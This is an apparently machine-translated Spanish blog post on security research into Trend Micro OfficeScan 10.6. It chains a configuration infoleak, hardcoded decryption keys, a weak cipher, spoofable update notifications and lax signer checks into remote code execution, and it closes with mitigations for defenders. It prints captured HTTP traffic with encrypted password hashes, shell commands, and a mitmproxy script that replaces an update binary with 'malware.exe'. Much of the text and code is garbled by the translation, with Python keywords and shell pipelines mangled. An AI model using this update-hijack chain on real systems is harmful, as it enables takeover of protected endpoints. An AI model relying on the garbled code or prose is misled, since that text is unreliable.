Trend Micro Office Scan algunas de sus cadenas de errores.

Trend Micro Office Scan
algunas de sus cadenas de errores.

Analizando la seguridad de software de seguridad es una de mis áreas de investigación más preferidas: siempre es irónico ver el software originalmente significaba para proteger sus sistemas de abrir una puerta abierta para los atacantes. A principios de este año me topé con la suite de seguridad de OfficeScan por Trend Micro, una solución de protección de acogida probablemente menos conocido (AV) todavía se utiliza en algunas redes interesantes, cabe aclarar que estas Suites suelen ser pensadas cuando se tienen dispositivos CISCO no bien implementados y la gente de IT lo piensa como solución alternativa a no tener los conocimientos necesarios de cómo se implementa adecuadamente los dispositivos CISCO dejando en manos a Trend Micro estas importancia de seguridad, hasta he escuchado al personal de Networking que tiene una red segura, y deja que la gente utilice PASSWORD de nombre propios sin aplicar ni siquiera el límite de longitud, etc. Por eso este programa se veía bastante complejo (gran superficie de ataque) me decidí a echar un vistazo más de cerca. Después de instalar una versión de prueba (10.6 SP1).

§ El componente de servidor (que proporciona una gestión centralizada de los clientes que realmente implementan la funcionalidad de protección de acogida) se lleva a cabo principalmente a través de binario CGI (archivos .EXE y .DLL)

§ El servidor actualiza a sí mismo a través de HTTP

§ Los clientes instalan controles ActiveX en Internet Explorer

Y hay posiblemente muchas otras partes frágiles del sistema. Ahora me gustaría compartir una serie de pequeños problemas que pueden ser encadenados juntos para lograr la ejecución remota de código. Los problemas son problemas de corrupción de memoria estándar lógica y / o defectos de cifrado, no. Como tales, no son triviales para arreglar o incluso decidir si se encuentran en las vulnerabilidades de hechos.
Un pequeño infoleak

Me centré en mi investigación sobre los clientes ya que estos son ampliamente desplegados en una red típica. Supuse que debe haber algún tipo de conexión entre el servidor y los clientes por lo que los clientes pueden obtener nuevas actualizaciones y parámetros de configuración. Empecé a supervisar las conexiones de red de los clientes y encontré algunas interfaces interesantes, uno de ellos veía así: POSTE /officescan/cgi/isapiClient.dll HTTP / 1.1
User-Agent: 11111111111111111111111111111111
Acepta: * / *
Anfitrión: 192.168.xxx.xxx:8080
Content-Type: application / x-www-form-urlencoded
Content-Length: 96
Proxy-Connection: Keep-Alive
Cache-Control: no-cache
Pragma: no-cache
Connection: close

RequestID = 123 y FunctionType = 0 & UID = 11111111-2222-3333-4444-555555555555 Y LIBERACIÓN = 10,6 y chkDatabase = 1



Los parámetros RequestID eran los mismos, pero rápidamente me cargan la solicitud a eructar Intruder y trataron de fuerza bruta otros identificadores válidos. ID 201 pareció particularmente interesante, aquí está parte de la respuesta del servidor: HTTP / 1.1 200 OK
Fecha: Mié, 18 de diciembre 2013 18:26:44 GMT
Servidor: Apache
Content-Length: 2296
Connection: close
Content-Type: application / octet-stream

[INI_CRITICAL_SECTION]
Master_DomainName = 192.168.xxx.xxx
Master_DomainPort = 8080
UseProxy = 0
Proxy_IP =
PROXY_PORT =
Proxy_Login =
Proxy_Pwd =
Intranet_Proxy_Socks = 0
Intranet_NoProxyCache = 0
HTTP_Expired_Day = 30
ServicePack_Version = 0
Licensed_UserName =
Uninstall_Pwd=!CRYPT!5231C05389DD886C99EA4646653498C2DB98EFD6EF61BD4907B2BD97E4ACDAED73AEE46B44AACBC450915317269
Unload_Pwd=!CRYPT!5231C05389DD886C99EA4646653498C2DB98EFD6EF61BD4907B2BD97E4ACDAED73AEE46B44AACBC450915317269

(...)



Esta misma respuesta se recupera sin importar el parámetro UID. Como se puede ver, hay dos parámetros, Uninstall_Pwd y Unload_Pwd que están (aparentemente) cifrados, lo que indica que estos parametros son algo que proteger. En realidad, los clientes pueden descargar o desinstalar sólo después de proporcionar una contraseña especial (un servicio de nivel del sistema es responsable de proteger los principales procesos de la aplicación de la matanza o la depuración), esto es lo que vemos codificada en estos campos. Entonces, ¿qué hacemos con el cifrado? El directorio del programa OfficeScan contiene un archivo llamado pwd.dll, que podría tener algo que ver con estas contraseñas, así que vamos a desmontar él! De hecho, esta exportaciones biblioteca funciona como PWDDecrypt () , pero como resulta que, estas no son las funciones que estamos buscando ...

Después de hacer una rápida
encontrar . -name '* .dll' -exec cuerdas -f { } \; | xargs grep 'CRIPTA!'



nos encontramos con que TmSock.dll es posiblemente nuestro candidato. Después de desmontar esta biblioteca encontramos que existe una exportación llamado TmDecrypt () . Esta función comprueba si su cadena de parámetros comienza con ! CRIPTA! ​​. Si no lo hace se llama a la exportación de pwd.dll, pero si lo hace, se llama a una rutina interna que nombré hardcoded_pass :







El nombramiento no es coincidential: esta subrutina hace referencia a dos cadenas Wich definitivamente parecen contraseñas codificadas:







Después de una rápida búsqueda en Google (Protip: siempre google cadenas como éstas, usted puede ahorrar un montón de tiempo al no recreando resultados públicos) uno puede encontrar este post por Luigi Auriemma, que describes que esta función se utiliza para descifrar los parámetros de configuración anteriores y en este caso, devolver los hashes MD5 de la desinstalación / descarga contraseñas. MD5 puede ser efectiva bruta forzada, por lo que este es definitivamente malo, por no hablar de que la contraseña del proxy puede ser recuperada en texto plano.

Pero esto no es realmente de alto impacto, así que cavó más.
Recogiendo más piezas

Estuve escuchando la comunicación cliente-servidor desde hace bastante tiempo y me di cuenta de que después de la emisión de un cambio de configuración en el servidor, una solicitud HTTP especial se envía desde el servidor hasta el puerto de cliente TCP / 61832.Se trata de una petición GET sencilla en forma de:http: // servidor:? 61.832 / [hex_string]


El parámetro hex_string parecía similar a los valores anteriores "encriptados" pero sin el ! CRIPTA! ​​Prefijo. Recuerde, el () TMDecrypt función del TMsock.dll cargado pwd.dll si la cadena de entrada no empezó con ese prefijo, por lo que este debe ser un texto cifrado para pwd.dll!

Antes de descifrar esa cadena hexadecimal, vamos a echar un vistazo rápido a las exportaciones de pwd.dll! Después de crear un pequeño envoltorio alrededor delpwdencrypt () exportación He encontrado algunos resultados interesantes: > Pwdenc A
00
> Pwdenc AA
006C
> Pwdenc AB
006F
> BA pwdenc
036C
> Pwdenc BB
036F
> Pwdenc ABC
006F00


Como puede ver, este algoritmo es básicamente un sistema de cifrado polialfabética sencilla (similar al sistema de cifrado Vigenère ), que podía recrear fácilmente independientemente de la biblioteca original: después de ejecutar un bucle rápido que encripta cuerdas 1KB de todos los caracteres imprimibles (1024 veces 'A ', 1024 veces' B ', etc.), que tenía una base de datos que podría ser utilizado para cifrar y descifrar prácticamente cualquier cosa. Más tarde me podía usar esta base de datos para construir mi explotar sin los binarios originales o lotes de ingeniería inversa.

Volver al problema original, vamos a descifrar la cadena hexadecimal ya:SEQ=80&DELAY=0&USEPROXY=0&PROXY=&PROXYPORT=0&PROXYLOGIN=&PROXYPWD=&SERVER=192.168.124.134&SERVERPORT=8080&PccNT_Version=10.6&Pcc95_Version=10.6&EngineNT_Version=9.700.1001&Engine95_Version=&ptchHotfixDate=20131228153813&PTNFILE=1050100&ROLLBACK=1050100&MESSAGE=20&TIME=201312281648170406&DIRECT_UPDATE=1&IP=60d9f344c3a3868f909a6ae787e9d183&NT_ENGINE_ROLLBACK=9.700.1001&95_ENGINE_ROLLBACK=&TSCPTN_VERSION=1348&TSCENG_VERSION=7.1.1044&SPYWARE=0&CTA=2.1.103&CFWENG_VERSION=5.82.1050&CFWPTN_VERSION=10333&DCSSPYPTN_VERSION=222&VAPTN_VERSION=&ITRAP_WHITE_VERSION=93900&ITRAP_BLACK_VERSION=17100&VSAPI2ENG_VERSION=&VSAPI2PTN_VERSION=&SSAPIENG_VERSION=6.2.3030&SSAPIVSTENG_VERSION=&SSAPIPTN_VERSION=1469&SSAPITMASSAPTN_VERSION=146900&ROOTKITMODULE_VERSION=2.95.1170&ReleaseIPList=&NVW300_VERSION=&CleanedIPList=&NON_CRC_PATTERN_ROLLBACK=1050100&NON_CRC_PATTERN_VERSION=1050100&SETTING_SEQUENCE=0160670003&INDIVIDUAL_SETTING=1


Actualización: Luigi señaló que implementa tantos algoritmos de cifrado en su herramienta trendmicropwd .

El propósito de este mensaje es para notificar a los clientes que no son nuevos parámetros de configuración que se deben aplicar. Después de recibir este mensaje, el cliente se conecta al servidor para obtener más información. Para asegurarse de que los clientes no se perdieron la conexión en caso de cambios en la arquitectura de red de este mensaje de notificación ya contiene la información de conexión más básica como la dirección del servidor o el proxy.

¿Podemos suplantar ese mensaje? Ya hemos visto que el cifrado no es un problema, y ​​la mayoría de los parámetros son básicamente de la versión y configuración parámetros públicos. La única parte problemática es el parámetro IP que parece contener un valor hash. ¿Cómo se construye este valor?

Puede utilizar secuencias de comandos como FindCrypt para encontrar la rutina MD5 en el TmListen ejecutable, el establecimiento de un punto de interrupción en esta revelará que la imagen inversa se ​​ve algo como esto: [JdkNotify] volver -1293342568


Como puede ver, la mayoría de los parámetros son similares a los anteriores, el único valor feo parece ser el clinet parámetro (¡sic!), que es el GUID del cliente generado durante la instalación. Desde el punto de vista de explotación esto es malo, ya que realmente no se puede adivinar este valor, pero si fortalecemos nuestro modelo atacante un poco nos puede encontrar algunos vectores realistas, ya que:

§ Los GUID del cliente son enviados periódicamente por la red en texto sin cifrar

§ Atacantes locales pueden acceder a este valor por defecto a través de la configuración de OfficeScan y los archivos de registro

Así que por el bien de este writeup supongamos que sabemos que este GUID - ¿qué podemos lograr con los mensajes de notificación?

Es obvio que podemos establecer nuestra propia dirección como los servidores o actuar como un proxy mediante el establecimiento de los parámetros adecuados en el mensaje de notificación inicial. Si hemos creado algunos números de versión más altos en la notificación también podemos desencadenar el proceso de actualización del software, y podemos establecer nuestro propio host como un servidor o un proxy ganando efectivamente posición man-in-the-middle.

Desde este punto de la manera más obvia de ganar control sobre el cliente es secuestrar el proceso de actualización y dejar que el cliente descarga y ejecutar un binario malicioso como parte de la actualización. Monté un pequeño script MitMproxy para esta tarea:
importación tiempo , hashlib

def _getFile ( ) :
my_exe = open ( "malware.exe" , "rb" )
exe_cont = my_exe. read ( )
exe_hash = hashlib. md5 ( )
exe_hash. update ( exe_cont )
my_exe. close ( )
return ( exe_cont , exe_hash )

def respuesta ( contexto , flujo ) :
si "HotFix =" en el . flujo respuesta . contenido :
exe_cont , exe_hash = _getFile ( )
rows = flow. response . content . split ( " \r \n " )
for i , r in enumerate ( rows ) :
if "TMBMSRV" in r:
rows [ i ] = "/officescan/hotfix_engine/TMBMSRV.exe=%s,%s,3.00.0000" % ( time . strftime ( "%Y%m%d%H%M%S" ) , exe_hash. hexdigest ( ) )
flow. response . content = " \r \n " . join ( rows )

si "TMBMSRV" en flujo. petición . get_url ( ) :
exe_cont , exe_hash = _getFile ( )
de flujo. respuesta . contenido = exe_cont



Aún así, mi malvado plan no funcionó, lo que pudo haber salido mal? Aunque los ejecutables de la OSCE son despojados de depurar la información, los desarrolladores dejaron muchas cadenas de depuración en los programas que se utilizan por lo general a través de diferentes funciones "registrador". Al conectar estas funciones básicamente uno puede obtener información en tiempo real sobre el estado interno de los procesos. Esto ayudó mucho durante el proceso de marcha atrás y también reveló el problema con mi plantación binaria:








Pues resulta que la OSCE sólo aceptan binarios firmados, que es un buen método para manejar las actualizaciones que se entregan a través de canales no son de confianza (manejo de los certificados TLS en el ambiente corporativo puede ser complicado...). Para superar este problema vi por primera vez para los archivos PE sin firmar en la instalación OCSE utilizando el guión disitool de Didier Stevens :
$ Find. -iname '* .exe' -exec eco {} \; python ~ / herramientas / disitool.py extracto -exec {} / tmp / sig \; 2> & 1 | Error grep -B1
./7z.exe
Error: archivo de origen no firmó
-
./bzip2.exe
Error: archivo de origen no firmó
-
./bspatch.exe
Error: archivo de origen no firmó

$ Find. -iname '* .dll' -exec eco {} \; python ~ / herramientas / disitool.py extracto -exec {} / tmp / sig \; 2> & 1 | Error grep -B1
./libeay32.dll
Error: archivo de origen no firmó
-
./libcurl.dll
Error: archivo de origen no firmó
-
./7z.dll
Error: archivo de origen no firmó

(...)


Pero antes de que pudiera averiguar si estos archivos pueden ser reemplazados de forma remota. Dnet sugirió plantar un binario que se firmó, pero no con la tecla de Trend Micro. Como una prueba rápida usé el instalador del Total Commander, firmado por un partido que es aceptable de forma predeterminada para WinVerifyTrust , la API que se utilizará para la verificación de firmas. La prueba se ha realizado correctamente, parece que la OSCE sólo se preocupa por el de signo de los cambios, pero no el firmante. Recuerde: la firma digital sólo le dice sobre el creador del mensaje, no la intención del creador :)
Englobando un poco

Lo que pude identificar varias falta de solidez de OfficeScan:

§ OfficeScan utiliza el cifrado débil

§ OfficeScan utiliza claves de cifrado hardcoded

§ OfficeScan no se autentica correctamente los pares del sistema (servidores y clientes)

§ OfficeScan no comprueba si los archivos ejecutables firmados originados por el vendedor u otra parte de confianza.

Por sí mismos estos problemas no suponen una amenaza seria, pero combinados que se pueden utilizar para lograr la ejecución de código remoto en cualquier cliente:

1. Obtenga el GUID del cliente de destino

2. Construir un mensaje de notificación que contiene el atacantes host que el proxy, y la información de versión que hace que el cliente para solicitar una actualización.

3. Reemplace ejecutable arbitrario en la actualización con una maliciosa firmado por una CA presente de forma predeterminada en el almacén de certificados de Windows de (esto cuesta unos pocos cientos de dólares).

El siguiente video muestra el ataque:

https://youtu.be/HGkIMNBzwYQ

Este ataque es realista cuando el atacante es capaz de interceptar GUID del cliente desde la red o quiere escalar sus privilegios a nivel local. Con otro infoleak podría ser posible mejorar el ataque para ser CVSS 10.0. Otros exploit vectores basados ​​(parcialmente) en estos resultados también son posibles, el software es grande y no he mirado en la mayor parte de ella todavía.
Nota:

Aunque Trend Micro fue el proveedor más sensible que he trabajado personalmente y me parece que no están muy experimentados en las vulnerabilidades de seguridad de manejo no está claro si se consideran los problemas reportados como vulnerabilidades o "características", si la última versión (OSCE 11) resuelve ninguno de los problemas reportados * y si hay posibles pasos de configuración que pueden disminuir el riesgo de un ataque. Sin esta información no puedo realmente escribir un aviso formal, por lo que tiene que conformarse con esta entrada del blog, por ahora.

Como no podía ver el progreso satisfactorio en la mejora de la seguridad del producto que decidí publicar mis resultados así que cualquiera puede evaluar los riesgos, y posiblemente implementar algunas mitigaciones:

§ Implementar reglas de firewall que restringen los puertos de OfficeScan sean accesibles sólo para los compañeros legítimos conocidos tanto a los servidores ya los clientes (TI también puede recomendar esto para cada solución de gestión centralizada otra AV)

§ Utilice contraseñas seguras de descarga / desinstalación.

§ Restringir el acceso a los archivos de configuración de OfficeScan y los registros para los usuarios locales

§ Comunicación Wrap OfficeScan en los protocolos de red seguros como TLS o IPSec



* Después de tomar un rápido vistazo a la versión 11 parece que los mensajes de notificación están firmados digitalmente effecitvely romper el método remoto presentado.(deberíamos hacer un análisis en profundidad sin embargo, aunque), pero desde la arquitectura básica y la simétrica componentes criptográficos permanecieron igual elevación local de privilegios debe ser aún posible!!!